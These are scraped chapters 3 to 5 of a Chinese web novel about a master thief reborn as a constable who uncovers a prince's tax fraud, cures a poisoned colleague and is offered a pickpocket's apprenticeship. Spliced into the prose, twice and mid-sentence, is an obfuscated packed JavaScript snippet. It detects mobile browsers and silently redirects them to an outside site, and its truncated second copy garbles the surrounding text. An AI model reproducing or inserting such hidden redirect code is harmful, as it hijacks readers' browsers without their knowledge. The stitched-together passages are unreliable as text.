《妙手神捕》 3. 第 3 章 第二天一早,陆衔霜对着镜子整理衣服,咧嘴一笑:“既来之则安之,陆衔霜你放心,我会好好按照你的意志生活,从此以后我就是你,你爹妈就是我爹妈,你好好在那边生活,好好享受,那么多钱,够你花十辈子。” 逃命途中的陆衔霜:我有一句MMP不知当讲不当讲。 其实说起来还是她赚了,大盛朝比大禄朝好的不是一星半点,虽然也有贪官,但还没到大禄朝遍地都是的地步,皇帝虽然上了年纪,不比年轻的时候能够弹压住各方势力,但也比大禄朝的老昏君强的不是一星半点,在陆衔霜眼里,这其中差距比人和猪的差距还要大。 老皇帝励精图治,治下百姓自然生活幸福,看看,就连小绺的手艺都不比大禄朝,毕竟能活下去,没有人愿意做下九流的营生。 因着从前养父去世之前是府衙的捕头,知府的得力助手,在他去世之后,府衙给了不少帮助,就连陆衔霜如今能够当捕快,都是知府特意插手之后得到的结果,知府今天特意传出话说要见她。 陆衔霜还纳闷呢,虽然知道养父是知府的得力助手,二人一起联手破了不少案子,但是自己上任第一天他就接见,怎么都不对劲吧。 要知道知府是府一级的最高行政长官,负责管理属县、宣布国家政令、治理百姓、审决讼案、稽察奸宄、考核属吏、征收赋税等一切政务?,他怎么会接见一个实习捕快呢。 这里头有鬼,陆衔霜想到记忆中养父母几乎前后脚去世,这里头是否有什么不为人知的秘密——以至于造人灭口,那么知府呢,他是哪一方的? 想到这儿,陆衔霜拿出幼年时期逃命的谨慎,一步一步朝着府衙走去。 才刚进门,就看见陈明和一个冷面黑脸男子站在一起,这就是接替他爹的捕头——崔青锋,昨天据陈明所说,他是从都府望月台刑部调来的大才,两人大清早在门口等自己,这里面的水好像比想象中还要深,陆衔霜心沉了沉,如常见礼:“崔捕头,陈捕快,您二位这是……?” 崔青锋不苟言笑,视线极快又急剧侵略性上下扫视看了她一圈之后,:“大人在等你。”说着话转身往里走去,只留给陆衔霜一个背影。 “不是他……”能不能有点礼貌。陈明急忙把她指着崔青锋背影的指头摁下去,闭眼上下点头,一脸我懂你的表情安慰:“望月台刑部来的,传说中以文官身份执掌酷刑,审案必焚香抚琴,府邸地牢入口刻着:此处即菩提,厉绝禅的手下,你忍忍。”后面无声张口:就这屁样。 陆衔霜还是第一次听说有人的介绍能这么长,嘴角抽搐,边走边侧着头问陈明:“陈叔,审案焚香是个什么路数?他还信佛呐?”开什么玩笑,还有这个名字,好家伙,兄弟要出家的节奏。 “不知道,好像听说那位爷有洁癖,是个酷吏。” “明白了,装逼。” 两人说着小话间就到了大堂,陆衔霜走两步发现身边突然没人了,一回头发现陈明站在原地:“陈叔你不进去?” “大人只要见你,恭敬点回话。”陆林和顾岩夫妻俩在世的时候帮了他不少忙,还治好闺女的病,如今他们去了,他要替兄弟和嫂子照顾好侄女。 剩下短短一段路陆衔霜自己走上去,心里翻来覆去将原主的习惯又重复了一遍,不再如从前一般习惯伪装在人群中,挺直脊背走上了上去。 才刚进门,一股凉意扑面而来,后背上一层薄汗立马消失的无影无踪,如果不是地点不对,陆衔霜舒服地想要打个盹。 主位上坐着富安府知府谢清晏。 谢清晏头戴乌纱帽,身着官袍坐于上手,身形修长,肩线略单薄却挺拔如松,一袭靛青官袍穿在身上总显得空荡几分,腰间玉带需刻意收紧两寸才不滑落。 陆衔霜知道他是一个清官,但不同于原主那般单纯,她的视线在谢清晏腰间玉佩上停留两秒——表面泛着油脂光泽,如凝脂般温软回弹,通体没有一丝颗粒感,雕工精湛,绝不是一般人家能够轻易将这么好的玉雕成坠子随意把玩。 谢清晏有来头! “见过大人。”陆衔霜不动声色见礼,半晌却没听到回话,眉心一皱有些不悦,却还是忍耐下来,眼珠子乱转思考对策要不要直起身子,就听到上手传来带着笑意的声音:“起身坐吧。” 谢清晏转头和崔青锋说话时候有些不满:“我瞧着她和陆林很像嘛,你怎么说她性子狠辣。”他还有半句话没说,再狠辣能有你和厉绝禅狠吗? 陆衔霜咬紧后槽牙,这人浓眉大眼的咋还在背后说人坏话呢,这把忍了,仇也记下了,她没说话。 崔青锋舌头抵在塞内软肉上,同样不可思议,看谢清晏的眼神像是在看叛徒,咱俩闲聊的话你直接当着当事人说出来干嘛? 她还不狠辣?昨儿个夜里牢里小混混满手是血,除了她难不成还有别人? 还像陆林,据他所知陆林是个老实的汉子,一生矜矜业业赤胆忠肝,哪里像了,文官的嘴骗人的鬼,崔青锋都不惜的说他。 “我是说长相。”谢清晏看了陆衔霜一眼,有点尴尬。 崔青锋和陆衔霜扯起嘴角异口同声:“养父。” “咳咳咳咳。”谢清晏正喝茶被他俩的话呛的猛烈咳嗽,两人谁也没有要拍上官马屁的意思,一左一右坐的稳稳当当。 两个面无表情的人坐在那儿可以代替冰块坐到冰鉴里面去,谢清晏无奈,面对两张冰块脸实在糟多无口,在崔青锋眼神示意下看向陆衔霜:“好了陆捕快,今天找你来是说正事,关于你爹娘去世的消息,你知道多少?” 陆衔霜有点爪麻,这咋说呀,原主性格真的和陆林一模一样——老实。 陆林去世的时候原主才十岁,衙门说她爹是病逝,她就相信了,没觉得哪里不对。 现在十六岁,过去六年,记忆早已没有当初那么清晰,再加上颅内有淤血,记忆断断续续,她不知道啊。 虽然陆衔霜是觉得这里面有事儿,但是以原主的表现来看肯定是不知道的,那她……“回禀大人,属下不知。” 一旁的崔青锋看不下去了,当即冷笑:“呵,再装。” 他虽然从前不认识陆衔霜,但是以他多年抓捕犯人的经验来看,这厮贼眉鼠眼,眼风乱瞟,绝对不是什么好东西。 在陆林之后谢清晏也提拔过几个捕头,结果每过一两年就会被知州调走,这不巧了嘛,路梧州的前两任知州和现任知州都是四王爷的姻亲,谢清晏这厮是被架住了,这才把自己从刑部调过来。 至于陆林当初究竟查到了什么,谢清晏闭目良久,很是后悔当初回去述职的时候为什么没有把他带上,竟白白送了性命。 “和望月台有关吧?”陆衔霜观察谢清晏今年三十有七了,以崔青锋这个都府红人和他相处模式来看,知府大人的来头绝对比她想象中还要大,这么一个世家弟子,竟然在一个州下辖的府连任三载,耗去九年没有升职,也没有被贬,不是不想走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860638|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是不能走。 至于知州为什么不动他,不是不想动,而是不能动。 听说太子风光霁月,文武双全,是元后嫡子,四王爷刻薄寡恩、残害手足、连王妃多吃一口水果都被他呵斥,母亲真妃洗脚婢上位,母子两人一脉相传地上不得台面。 可偏偏就是这样不择手段的人,才能在皇帝老儿年迈的时候抬起来和太子殿下打的有来有回。 陆衔霜猜测知州应该是四王爷的人,至于谢清晏,就不知道是太子还是皇帝的心腹了。 毕竟路梧州赋税丰富,实在是个富饶的好地方,她爹被害,应该查到了什么要命的线索,要不然不能被“因公病逝”。 她把自己的猜测说出来,隐去怀疑谢清晏立场的问题,谢清晏终于露出一个笑脸,不容易呐,有这些不会看眼色的下属,官途就是这么的命运多舛。 “你说的没错,陆林当初偶然察觉到路梧州的赋税不对,四王爷表面上清正廉洁,但他后院小妾们的娘家生意却越来越好,好的不正常。” “这年头贪污还用这么麻烦吗?不是古董铺子转两手,银子就到手了嘛。” 多新鲜呢,贪官洗黑钱非常简单,只要低价收购古董字画,再高价转手一卖,贪来的银子就立马变得清清白白起来,运气好后台硬的话,还能混一个点金胜手的名头,被酸儒文人吹捧一番。 谢清晏捏着眉心很是痛苦:“但是他没有,虽然大家都知道四王手段残暴,但他特别能装,还喜欢和人解释,这就导致很多文人不信,而且到现在我们都抓不住任何证据!” 他们总不能限制四王小妾娘家的生意发展吧。 其实他早就该回望月台了,但就是因为路梧州的赋税不对,担心离开之后彻底被四王一党把持,这才一连六年,就在快要待不住把摊子掀翻的时候,陆衔霜莽撞的身影就这么出现在众人眼前。 她收拾漕帮小贼的手法甫一出现就震慑着所有人,再加上又是陆林的女儿,谢清晏相信她不会做出如同前几任捕头那般上了贼船的事情。——毕竟陆林被对方如此追杀,手里一定拿到些什么证据,只是没有被他们找出来罢了。 在陆林去世不久之后,他的夫人顾岩上山采药跌落悬崖而亡,正好家里遭遇劫匪抢劫,这一切都太巧合了,如果不是陆衔霜那天跟随秀才读书,也难逃此劫。 之后谢清晏曾经亲自带人检查过陆林家的院子,现场一片狼藉,院子的地被翻了一遍,就连茅厕都没有放过。 他们在东西,最有可能得是账本,但是还没有找到。 皇上马上要不行了,但他自己不信,虽然依旧信重太子没有废黜的意思,却还在放任四王的势力发展,谢清晏真的很怕老皇帝突然一命呜呼,然后被四王矫诏上位。 如果真的摊上那么一个刻薄寡恩的主子,大家伙还是相约一起去抹脖子痛快点。 可别说什么保皇党,就算不是太子党,只要没有鲜明旗帜的站队过四王,那么在他眼里你就是叛徒。 他好了你不一定好,但他如果不好,先坏事的一定是臣子。 谢清晏一把年纪,从未见过如此厚颜无耻之人,偏生他还很会装,装的云淡风轻,每天阿弥陀佛。 呸! “算啦,暂时想这些也没有用,正常当值吧,这件事情你心里有数就好,平时小心点,我担心他们还会卷土重来。”这么关键的时刻,四王也担心被揪小辫子,可不得把查案的人员都一网打尽。 4. 第 4 章 这天夜里,躺在并不熟悉的地方陆衔霜怎么也睡不着,干脆拎着酒坛翻身上了屋顶,和月光对饮起来。 突然到了另外一个地方,说迷茫倒也没有多迷茫,毕竟从前也是天南海北的到处跑,在哪四海为家都是家,就是占了别人地盘这回事,偶尔想起来还会有些心虚。 “如果是你,你会怎么办?”实话实说,对于陆林她自然不会有任何感觉,顶了天敬佩一些,但上升到为国为民就没有必要了叭。 之前还以为老皇帝是个好的,谁知道但凡穿上那身衣服的都不是什么好东西,她就不信对方不知道四王是个狗东西,还不是放任自流,让百姓无辜枉死,就因为舍不得放的狗屁皇权。 还以为换了个地方能金盆洗手过平凡的生活,如今看来都是扯淡。 有时候家族传承真的是一件很玄乎的事情,她养父母是神偷和鬼医,生活就能自由自在,陆衔霜的养父母是捕头和神医,嗨,她就比较正直。 想当年幼小的时候被爹背在背上行窃的逍遥生活,悄无声息摸走大箱金银珠宝,每天吃香喝辣。 再看看现在住的地方,瓦片裂开几块,一下雨家里要遭。 她想起自从陆林去世之后原主每年都是自己修补房顶,只是为了省点钱就心酸,看看孩子过的什么日子,这破日子她真是一天都过不下去。 之前小绺想要偷钱反被自己偷的去醉仙楼吃了饭,后来从漕帮小混混那拿的钱全给了柳婆婆,陆衔霜打开荷包看见只有几个铜板,顿时捂住心口一阵抽痛。 这个受苦受难的日子实在过不下去了,当捕快没问题,但是能不能日子别过的这么清贫。 陆衔霜晃了晃坛子,零星几滴之后空空如也,一脸烦躁躺下来,盯着月亮思考白天谢清晏说过的话。 他到底能不能值得信任呢? 这么拼命到底是谁了什么,家族利益,还是江山百姓。 烦躁的撸了把头发,觉得自己现在像极了出头的梆子,和这群世家子弟同流合污,下场就没有好的,她才不信之前谢清晏本人就是表现出来的那样。 虽然不怕就是了,到时候大不了一走了之,但奈何这不是她的身体,她简直不敢想象陆衔霜本人先是在大禄朝被追杀,好不容易回到大盛朝还要被追杀的场面有多美好。 屁事太多,思考显然不符合她的风格,只能不断告诉自己船到桥头自然直,暂时不管谢清晏的立场是什么,能够为陆林报仇,那他们立场就暂时一致。 不论这件事情有多麻烦,既然用了人家的身体,就要承担相应的因果,可以那换回来正好,如果不行,陆林和顾岩的仇,她替陆衔霜报了,就当做了结因果。 从此以后希望捕快陆衔霜在大禄朝一切安好,对自己好点,盗圣陆衔霜在大盛朝好好当捕快,也算是另外一种金盆洗手。 她思绪飘散到很远的地方,想自己那对潇洒肆意从来呵护她长大的养父母,好日子过多了,看看眼下破烂的屋子,真是闻者落泪见者伤心……“不对吖,既然贪官胆子这么大税银都敢伸手,那我拿点自己用怎么了。” 刚才还说金盆洗手,现在又按捺不住蠢蠢欲动的手,洗了个寂寞。 说干就干,算计了一个来回的路程,乘着夜色往知州府邸飞去,一晚上她就跟进了米缸的耗子一样,自己上门领“扶贫款”,临到天亮都舍不得撒手,硬是连口水都来不及喝一口,城里城外来回倒腾,至少搬走知州私库一半银子。 赶在天亮之前买了一口棺材,披着麻衣粗布,趁着蒙蒙天色一路奔波一路哭嚎,终于在天亮之后回到富安府城外,找了个坟头把银子塞进去,等天黑之后再来取。 忙了一晚上,当值的时间马上就要到了,陆衔霜随手在路边买了几大袋肉包子去衙门当值,一进门正好碰到陈明:“陈叔吃早饭。”说着递过去一个油纸包。 陈明原本没当回事,随手打开一看,里面有三个肉包子,顿时就要给她还回去,陆衔霜闪身避开,急的他把人拦住:“你这孩子日子不过啦?” 要知道一个肉包子三文钱,一袋里面三个肉包子,她两只满满当当拿了六个大袋子,一个大袋子里面有十几个小袋子,这么算下来将近八九百文钱。 捕快一个月月俸只有区区二两银子,虽然够花,但也勉勉强强,她只有一个人也禁不住这么大手大脚,更何况她昨天才是第一天当值,哪来的银子。 陆衔霜从前仗义疏财惯了,猛地被长辈关心日子不过了,她一下还没反应过来,刚要嘴快说自己偷的,立马反应过来这里是大盛朝,顿时吓得一身背后冒气一层冷汗,胡话张口就来。 “陈叔你也知道我娘之前是个大夫,她去之前都教给我,这么多年历练下来,早就继承了我娘的衣钵,之前咱们有一段时间没见面,我就是去别处给人看病,银钱方面你不用担心我。” 陆衔霜谎话编的很艰难,但说着说着很快麻利起来,自己确实跟娘学习来着,虽然那个娘是鬼医王天霸,不是慈悲大夫顾岩,但医术这个东西好使就行,甭管是不是偏门,反正她那点子皮毛,也超过顾岩本人了。 好好好,大盛朝这玩意儿比大禄朝好那么一星半点,所有没有他们人杰地灵,盗门不行,医术……咳咳,也没有他们灵活多变。 陈明还不信,陆衔霜手这叫一个快,当即掏出几根金针往他大穴扎去,不到片刻陈明就成了刺猬,站在衙门后院一动不能动,惹了一圈人围观。 “大侄女,陆捕快,你能保证我没事吗?”说实话陈明现在很慌,古往今来都少人扎针扎的一睡不醒,他媳妇又怀上了,孩子还没长大,可是家里缺不了的顶梁柱。 陆衔霜呵呵一笑:“陈叔放心吧,你没啥大事,就是习武多年经脉有些不通。”说话间金针以极快的速度取出,“试着活动一下。” 陈明打了一套拳,整个人神清气爽,眼睛噌的一下亮了:“大侄女,你真的会!”老天爷,当年嫂子走的时候大侄女才十岁,她这么好的医术一看就学了很多年,那得从多大的时候就开始学了。 陆衔霜笑的张扬,打从记事起就在毒药堆里泡着,医术能不好么。 当然啦,比起救人,她更擅长的还是下毒杀人,虽然比不了阎墨那个天才,但一般人在她这还真讨不了好。 陈明拳脚功夫在大家眼皮底下增强,从前下雨天疼痛酸涩的地方行动起来也没有之前滞涩,立马使得捕快衙役们纷纷惊呼,围在陆衔霜身边好一通寒暄:“大侄女/陆捕快,能不能给我也扎两针?” 大家干的都是辛苦的活,不说拳脚功夫怎么样,谁身上没有个不舒服的地方,谁没找过几个大夫,可哪个大夫也没有陆衔霜这么立竿见影,虽然她说还需要针灸两次,但现在都这样明显,两次以后岂不是身子骨更加康健? 有认识陆林和顾岩的不由得陷入沉思,顾岩的医术有这么厉害吗?他们当初是不是有眼不识泰山,错过那么一个神医! 衙门里面热闹一片,往衙门赶来的马车中却差点打起来。 “让你跟着大人,一个女的扑上来你就迷了眼,动都不敢动是吧?”杜七杀指着梅花的指头气的直哆嗦。 梅花老大一个汉子当场被他诬陷人的话气的眼眶湿润,带着哭腔肩膀颤抖:“大哥别说二哥,你不也是,对方那么明显的调虎离山,我都说不让你去,你偏要去。” “我都已经不在了,你为什么不跟着大人呢?”这事儿说来杜七杀也很是心虚,但反过来又想,他都掉链子了,梅花为什么不能靠谱点! 梅花不说别的,颤颤巍巍抬起手,杜七杀胳膊搭在大腿上垂丧着背,还以为他要动手,没好气把胳膊拍下去:“赶紧回去府衙让谢大人看看该怎么办吧。” “我是说我也中毒了,当时才没法保护大人。”梅花说着白眼一翻倒在车厢里,杜七杀着急忙慌扯开梅花的衣裳,一条和大人一样的黑线从掌心到肩膀,再到心脏的路线缓缓前行。 “加快速度!”扯着嗓子驾车的马吼了一嗓子,速度比之前更快一些,杜七杀看看崔青锋,再看看梅花,崔青锋身上的代表毒素的线已经蔓延到肩膀,反手一巴掌抽在自己脸上。 不行,无论如何大人都不能死,马车太慢,马又没有办法带三个人,让他放弃梅花,杜七杀闭上眼睛十分艰难,却死活都无法坐下决定。 杜七杀脑子里闪过各种办法,揪着两人的衣服眼睁睁看着毒线丝毫不停留,知道再耽搁下去一个都活不了,咬着牙停下车,把崔青锋放到马背上。 “不行,不能让梅花那伤春悲秋的家伙一个人等死。”杜七杀又反手给了自己一个巴掌,失血过多苍白的脸红润一些,咬着牙把梅花也放在马背上,把两人固定好,拍了一下马屁股:“回府衙,速度要快!” 随着马而奔驰而去,杜七杀带着一身伤跟在后面全力往府衙跑去,路过一个灰袍大汉看见,跟在杜七杀后面纠结了好一会,终于下定决定,推着牵着驴追了上去:“大人,小的愿意为您效劳。” 杜七杀警惕扭头看了一眼,很快又紧紧盯着前方马匹,生怕半路上再窜出来个杀手,旁白人还在喋喋不休要为自己效劳,脑海里挥之不去一个低头哈腰满脸谄媚的中年男子的脸,虽说这么有点以貌取人,但对方一看就不是什么好东西,眼睛里闪烁着名为投机的光,关键是他绝对没有见过对方:“你是谁?”暗暗握着刀柄,浑身紧绷起来。 男子好像没有发现他抗拒一样,若无其事两只手张到最大程度,胳膊也抬起来,继续献媚:“大人容秉,小的却不认识您,却见过您之前放在马上的那位大人出入府衙,小的只是和府衙里那位陆大人相识罢了。” “陆大人?” “对,陆衔霜陆大人。”男子说着将牵驴的绳子递过去:“小的要去拜访陆大人,正巧有机会卖您一个好,您受伤了,骑驴好带能快一些。” 杜七杀认真看向男子,男子的营生应该不太习惯被人注视,躲避一瞬又僵在原地,好像借此说明他并无恶意。 “我承你的情,回见。”杜七杀翻身骑驴朝着前面的马快速追去。 灰袍男子松了一口气,咧嘴笑出声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860639|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一路上杜七杀快要把驴屁股拍的肿起来,终于在看到府衙牌匾的时候追上托着大人和梅花的马。 杜七杀赶来的时候正忙着给大人松绑,崔青锋正好醒来,一时不察对上他满脸狐疑,有些尴尬的手忙脚乱。 “我中毒了?对面什么来头?”说话间他还露着半个肩膀头子,随着话音落下,毒液蔓延的速度比之前更快,杜七杀急的连忙阻止:“大人你先别说话,越说毒蔓延的越快。” 杜七杀连忙被崔青锋从马上扶下来,招呼两个门牙子扶着他往里去,自己则将梅花背在背上跟在旁边。 一路上本来就心急如焚,一进去还能听到喧哗声,立马暴躁怒吼:“吵什么吵,不想当值就滚蛋!” “七爷,您这是怎么了?”捕快衙役们围在陆衔霜周围看她坐诊,突然被吼了一嗓子,原本还不悦的脸色在扭头看到杜七杀和他背上昏迷不醒的梅花时都僵在原地,陆衔霜一扭头正好对上崔青锋那张黑脸,黑面神今天还真是人如其名,立马大吼一声:“站住别动!” “你干嘛?”杜七杀不乐意了,这人刚来的凭什么吼自家大人,谁料崔青锋还真就停在原地没动,他不由得疑惑,“大人?” “崔捕头中毒了!” “夸,陆捕快是大夫,快让她看看。” 在众人七嘴八舌的解释之下,杜七杀眼睛一亮,把梅花往地上一放,拽着陆衔霜的胳膊就要往崔青锋身旁拽,“快给大人看看,不过你行吗?” 话音落下,手背一疼,杜七杀嗷呜一声跳起来,手背上什么都没有,陆衔霜手里金光一闪,刚刚却是挨了一下。 “你……” “学不会好好说话,我就把你的嘴巴缝起来。”陆衔霜眯着眼睛威胁他,周围捕快看天看地看自己,就是没人看一眼七爷。 杜七杀……好刁钻的人。 他有点尴尬,却被更多的焦急所代替,急的又要上手拽陆衔霜,陆衔霜已经快他一步走到崔青锋身边,示意他别动,不知从哪拿出来三根金线,犹如锦鲤一般灵活缠绕在崔青锋的手腕上,手指快速在金线上上下波动,神情前所未有的认真。 崔青锋垂眸看向手腕的金线,不由得有些沉默,捕快的二两月俸够这么花吗? “阎罗路引。” “这个毒的名字竟然如此歹毒?”杜七杀刚感叹一句,就见大人要张嘴,生怕毒素蔓延过快,刚抬起手,陆衔霜动作迅速,三根金针同时插在风府穴,崔青锋刚张开嘴,无声翕动片刻又不甘合上,看的众人想笑又不敢笑,肩膀耸动十分难受。 “阎罗路引是西域鬼戎族的祭祀秘术,以葬尸地生长的血影蕈为主料,混入被诅咒的金砂研磨成粉。普通中毒者掌心出现朱砂痣红点,三日后化为发丝粗的黑线,沿手厥阴心包经每日延伸一寸,黑线过肘关节时伴针刺剧痛,至肩胛则出现丧钟声幻听,抵心脉时全身血管爆裂而亡,全程约七七四十九日。” “可是大人中毒直现在不过几个时辰。”杜七杀有些怀疑她是不是在胡说,毕竟出了中毒外观之外,其他没有一个字说的对,反而她工具花里胡哨,全是金子做的,有点像街头骗子。 被质疑陆衔霜也不生气,暗暗给他记了一笔,“你们大人内功深厚,现在还在运行内力,怎么算是普通人呢。”说着九根金针一甩,封住崔青锋周身大穴,招呼衙役:“兄弟们,把咱们捕头和这位壮士抬到他院子里去。陈叔你去带人制冰,要用可以泡两个浴桶那么多的冰。” 陆衔霜指着梅花叫他壮士的话,整个衙门想起欢乐的噗嗤笑声,如果梅花现在醒来,一定会开心的上天。 衙役们扛猪一般扛着崔青锋和梅花放到浴桶中,浑身扒的只剩下一条裈裆,陆衔霜不躲不避看着崔青锋和梅花壮实的大腿肌肉和上半身,十分没品地吹了一声响亮的口哨,顿时惹得大家哈哈大笑。 等待的空挡,陆衔霜快速调配出强效金疮药,捏着针线给杜七杀缝合伤口,动作太过豪迈,眼睛不眨一下,杜七杀感觉自己像屠夫案板上的猪头,撇开视线找了个话题:“陆捕快,我看你没有男女大防之说,干嘛还要多此一举悬丝诊脉呢?” 刚才还以为她不好意思搭在大人手腕上,结果现在大人和梅花都快要被她看光了,显然不是什么害羞矜持的主,金线就没必要了吧。 陆衔霜得意仰头,扫了他一眼,脸上写满了你知道个屁,“排场你懂不懂,我,鬼医,天下无敌,谢谢,自己包吧。”虽然她的医书比不上阎墨,但她俩如出一辙的垃圾包扎手法,真是不相上下呢,嘻嘻。 忙到月光上头,终于把毒素给他俩控制住之后,陆衔霜浑身骨头嘎嘎作响,杜七杀突然想起来白天遇到的那个灰袍男子,一拍脑袋赶紧和她说。 “来找我?”陆衔霜在原主记忆里扒拉来扒拉去,也没找到什么灰袍中年男子,往门口晃悠一圈,本来没以为这个时辰还能见到人,谁知那人竟然一直在门口等着,看到她出来,缓缓从暗中走出来。 “是你呀。”陆衔霜恍然大悟,还有些纳闷:“你来找我干嘛?” 5. 第 5 章 灰袍男子正是之前给陆衔霜在醉仙楼贡献了一桌美味的大善人,想到双方的身份,陆衔霜不由得眯起眼睛,“你是来状告本捕快的?” 陆衔霜乐的不行,想到从前在大禄朝的时候那个贪官最常说的话便是——堂下和人状告本官,她如今也是公职人员,面对从前的同行,心里怎么这么微妙夹杂着好玩呢,率先往酒楼方向走去,路过男人的时候他还在愣着,“还不跟上。” 陆衔霜现在住的地方是养父母留下的房子,周围邻里都是世世代代生活在富安府的普通人,比地里刨食好一些,又比不过那些富户,勉勉强强能穿戴整齐挣得温饱。 醉仙楼作为富安府数一数二的大酒楼,和她住的地方是富安府对角线的两边,大晚上和一个中年男人去酒楼吃饭,虽然她本人不在意,还是得为原主考虑,干脆随便在路边叫了两碗馄饨,“婆婆,在给我来两个烧饼,李叔,拿一坛烧刀子。” 吃喝都上齐了,陆衔霜一只脚踩在凳子上,热腾腾的馄饨推到一旁,刚出锅的烧饼还冒着热气,一口下去酥的掉渣,烫的她一边吹起一边吞咽,直到一个烧饼下肚,抽动的胃袋才终于安生下来,抬头对上男人呆滞的双眼。 陆衔霜没好气瞟了他一眼,等这么半天就是发呆来的,刚拎起酒坛,男子好像终于反应过来一般,急忙起身接过酒坛,给她满满当当倒了一碗酒,之后又给自己面前的碗里满上,踌躇着有些不知道该怎么开口。 来之前的路上他想了无数种开场白,也设想过陆捕快无数种的应对方式,但这么多预设中,绝对没有眼下这种情况。 事实上,从衙门门口陆衔霜说第一句话的时候开始,他脑子就被对方别具一格的行事作风震得成了一团浆糊。 老天爷,他这辈子都没想到自己一个小偷竟然和捕快坐在一个桌子上吃饭,虽然这个捕快很不对劲的样子,偷东西的手法比自己都熟练,但是这些都不重要。 “陆捕快,在下陆鹏,之前多有得罪,今日特来赔罪。”说着端起大碗轻轻在陆衔霜酒碗下首磕了一下,咕嘟咕嘟几口干掉一碗烧刀子,等把碗放下,已经被辣的眼睛发直,赶在流口水之前抬起袖子抹了一把,才堪堪没那么丢脸。 要说他为什么这么怂,还得从之前说起,下九流这个行当的人,但凡给在外出手,就做好了不会被人发现的准备,他们挑选对象也是要仔细观察的,碰到惹不起的人连碰都不会碰,万一对方是个硬茬子,就不是剁手跺脚那么容易过去的。 当初他选择陆衔霜,一来看到荷包里的银子,二来只是一个十几岁的小姑娘,住的地方是富安府的平民聚集地,三来嘛,小姑娘眼神清亮端正,一看就是天真无邪被偷走银子也只会哭唧唧的主。 谁知道,谁能想到,就是这么一个看上去完全没有问题的小姑娘,在他眼皮底下快速换了荷包中的银子,还把他褡裢里面的银子都顺走,在江湖也没有几个这么漂亮的功夫。 陆鹏不可否认当初自己是想找对方麻烦的,但在醉仙楼门口看到她拿出钉骨针处置漕帮混混的时候立马收了心思,在得知漕帮混混被废了一双手之后,更是吓得出了一声冷汗。 偷富不偷贫,一直以来都是盗门心照不宣的规矩,但规矩是死的,人是活的,尤其带大盛朝的盗门,神偷凤毛麟角,更别提盗圣这种祖师级别的人物,根本没有。 这就导致大家手艺不行,偷富容易被逮,只能朝着普通人下手。 普通人才有几个钱,偷来偷去不过是贫苦人为难贫苦人。 绺子被抓之后要十倍赔偿,如果那天陆捕快没有把荷包里的银子换成石头的话,他拿了多少,要十倍补充。 陆鹏当下就知道对方看不上自己,再想到对方捕快的身份,当即一个念头成型,原本还以为有的等,谁知道竟然在路上碰到那为崔捕头,这才让他搭上线,终于见到陆衔霜。 说着从背后将褡裢在桌子上推过去,“还请您收下。” 陆衔霜以为是赔罪礼物,漫不经心掀开一个角,手顿在半空中,轻笑出声,之后捏着鼻梁笑的打颤,“你什么时候动的手?”衙门的锁被偷了竟然没人发现,说出去也没人相信。 褡裢里一把阴阳锁,一个百纳囊,和一百两银子上面放着一枚替罪钱,这不是赔罪,而是盗门拜师仪轨。 在大禄朝屡见不鲜,但在大盛朝已经绝迹的一种古老仪式。 陆衔霜从来不朝穷苦人下手,她只盯着贪官污吏,为富不仁鱼肉百姓的富商下手,虽然在朝廷中名声不好听,但在民间救了不知道多少人,还有一个县的百姓曾经给她立过长生牌。 盗者,侠义也。 是寻常小偷小摸不能比拟的。 陆鹏不好意思挠了挠脑袋,声音比之前还要低:“有您在衙门,寻常时候我也没机会,是之前那位七爷让门子扶着崔捕头进去的时候,正好没人,我就顺手嘛,取下来了。” 阴阳锁须盗取衙门铜锁与青楼闺阁银锁各一,象征“官民两道皆可开”。 锁芯必需完好无损,考验“下手轻如羽”的指功。 陆衔霜捏着锁头借着月光看向锁芯,锁芯是没什么大问题,就是锁口的地方有一点变形,让她看不上眼,“你慌什么,既然动手就知道后果,心不静,手永远稳不下来。” 陆鹏要解释,陆衔霜随意摆摆手:“还是手上功夫不到家,回去指头绑着石头抽千丝多练练就好了。” 说话间把百纳囊抽出来,仔细看歪歪斜斜的针脚和碎布头子,嫌弃的撇撇嘴:“可着老眼昏花的婆婆偷是吧,不合格!”扔到陆鹏怀里,端起碗大口喝酒。 百纳囊要用七户不同人家的碎步缝制盗窃时候放工具的包,这些碎布要在主人家眼皮底下拿到手,考验的就是顺手牵羊的功夫。 陆鹏这个百纳囊的布上一闻就是股发霉的味道,想也知道是贫苦人家的婆婆眼神不好,才让他得手。 陆鹏擦擦额角的汗,默默将百纳囊收到怀里,眼看陆衔霜掀开褡裢看了一眼纹银百两又把掀起的一角放去,原本以为会得偿所愿,现在看来不行,心猛地沉下去——她对自己不满意! “这些不够吗?”陆鹏惴惴不安,视线一直跟随陆衔霜手指上下翻飞的借命钱而动,手真快,完全看不出来路线。 越看就越是佩服,越看就越是紧张,这样老道手法,须得经年累月方能练成。 据他这几天打听的消息来看,陆衔霜的父亲陆林生前是个捕头,母亲是大夫,她怎么练就这么一手功夫。 陆鹏不懂,但不好奇,谁还没有点秘密,尤其是他们这行当里的人,冒犯别人的秘密,等于在找死。 他现在就想知道为什么不收自己,脑子里把富安府有数的富户都想了一遍,看看还能去谁家借点拜师银。 “替罪钱的目标必须是恶人,偷足足够买对方命的前,留下一枚写着‘借’字样的铜钱在失主枕边,你告诉我,哪个恶人一百两纹银就足够买命。” 陆衔霜手指微微用力,“嗡”的一声铜钱向上弹起,在空中转了几个圈,“叮当”落入空空如也的酒碗中,目光漫不经心扫在陆鹏脸上,陆鹏端坐原地连手都不敢抬。 